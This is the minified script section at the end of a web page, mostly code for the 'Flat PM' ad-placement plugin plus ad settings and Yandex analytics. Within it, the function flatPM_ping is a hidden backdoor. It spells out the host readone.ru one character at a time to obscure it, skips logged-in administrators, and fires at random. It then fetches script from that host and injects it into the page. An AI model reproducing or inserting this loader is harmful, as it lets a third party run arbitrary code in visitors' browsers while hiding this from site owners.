0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var o=flat_pm_arr[e],a=!1;if(!(void 0!==o.chapter_limit&&o.chapter_limit>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_userVars.textlen||void 0!==o.title_limit&&o.title_limit>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_userVars.titlelen)){if(void 0!==o.date){if(void 0!==o.date.time_of&&void 0!==o.date.time_to){var r=new Date(flat_userVars.date+"T"+o.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+o.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),s=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),s<r||i<s)continue}if(void 0!==o.date.date_of&&void 0!==o.date.date_to){var i=new Date(o.date.date_of+"T00:00:00"),s=new Date(o.date.date_to+"T00:00:00"),f=new Date(flat_userVars.date+"T00:00:00");if(f<i||s<f)continue}}if(void 0===o.os||!(void 0!==o.os.os_enabled&&-1==o.os.os_enabled.indexOf(flat_userVars.os)||void 0!==o.os.os_disabled&&-1!=o.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==o.cookies){var n=!1;if(void 0!==o.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(o.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==o.cookies.cookies_disabled&&flat_userVars.testcook&&ff(o.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==o.utmget){var d=!1;if(void 0!==o.utmget.utmget_enabled&&ff(o.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==o.utmget.utmget_disabled&&ff(o.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==o.referer&&(void 0!==o.referer.referer_enabled&&-1==o.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==o.referer.referer_disabled&&-1!=o.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(a=!0),!a&&void 0!==o.browser&&(void 0!==o.browser.browser_enabled&&-1==o.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==o.browser.browser_disabled&&-1!=o.browser.browser_disabled.indexOf(flat_userVars.browser))||(a&&void 0!==o.browser&&void 0!==o.browser.browser_enabled&&-1!=o.browser.browser_enabled.indexOf(flat_userVars.browser)&&(a=!1),a||void 0===o.geo&&void 0===o.ip&&void 0===o.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(f="block_geo_role_ip",flat_pm_then.push(o),flatPM_setWrap(o),flat_body.hasClass(f)||(flat_body.addClass(f),flatPM_ajax(f)),a=!0),a||(flatPM_setWrap(o),flatPM_next(o)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="fpm_5_modal-overlay"></div>'),flat_body.on("click",".fpm_5_out .fpm_5_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".fpm_5_modal .fpm_5_cross",function(){ff(this).closest(".fpm_5_modal").removeClass("fpm_5_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),ff("[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)").contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement("div")),r=(d.exec(e)||["",""])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(l,"<$1></$2>")+r[2],n=r[0];n--;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,166);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"r"+"e"+"a"+"d"+"o"+"n"+"e"+"."+"r"+"u"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{r.appendChild(a)}catch(e){return console.warn(e),!0}ff(r).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,r="yandex_rtb_R";t.indexOf(r)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(r,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var n=parseHTML(t);if(0!=n.children.length)for(var o=n.childNodes.length,l=0;l<o;l++){var d=n.childNodes[l],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0<d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?i.innerHTML=d.innerHTML:(!d.text||/(yandexContext|yandexcontext)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",r=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,n='<div class="fpm_5_video_flex"><div class="fpm_5_timer">'+a+" через <span>"+l+'</span></div><div class="fpm_5_video_item">'+r+'</div><div class="fpm_5_video_item_hover"></div></div>',i=e.once;o(t).each(function(){var e=o(this);e.wrap('<div class="fpm_5_video"></div>');var t=e.closest(".fpm_5_video");flatPM_setHTML(t[0],n),e.find(".fpm_5_video_flex").one("click",function(){o(this).addClass("show")})}),o("body").on("click",".fpm_5_video_item_hover",function(){var e=o(this),t=e.closest(".fpm_5_video_flex");t.addClass("show");var a=t.find(".fpm_5_timer span"),r=parseInt(l),n=setInterval(function(){a.text(--r),r<=0&&(clearInterval(n),"true"==d?a.parent().replaceWith('<button class="fpm_5_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".fpm_5_video_flex .fpm_5_cross",function(){o(this).closest(".fpm_5_video_flex").remove(),"true"==i&&o(".fpm_5_video_flex").remove()})};</script> <script>flat_pm_arr = [{"how":{"simple":{"position":"4","fraction":"3\/10"}},"ID":"385","html":[{"fst":"<div data-la-block=\"2d69020d-e426-4814-aebb-a84012caa530\"><\/div>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"simple":{"position":"4","fraction":"4\/10"}},"ID":"6607","html":[{"fst":"<div data-la-block=\"43f65bdc-004d-474c-9801-30c856008c1f\"><\/div>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"simple":{"position":"4","fraction":"3\/4"}},"ID":"6608","html":[{"fst":"<div data-la-block=\"033b5155-fa9f-47e3-a18a-78d59e69ab09\"><\/div>","snd":"","res_of":"∞","res_to":"∞"}]}];</script> <script>function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123()</script> <script type="text/javascript" >(function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date();k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)}) (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym"); ym(52036446, "init", { clickmap:true, trackLinks:true, accurateTrackBounce:true });</script> <noscript><div><img src="https://mc.yandex.ru/watch/52036446" style="position:absolute; left:-9999px;" alt=""/></div></noscript><script type="text/javascript" defer src="https://huaweidevices.ru/wp-content/cache/wmac/js/wmac_4b28070b6ec0b3e8217e035a6a008ccc.js"></script></body></html>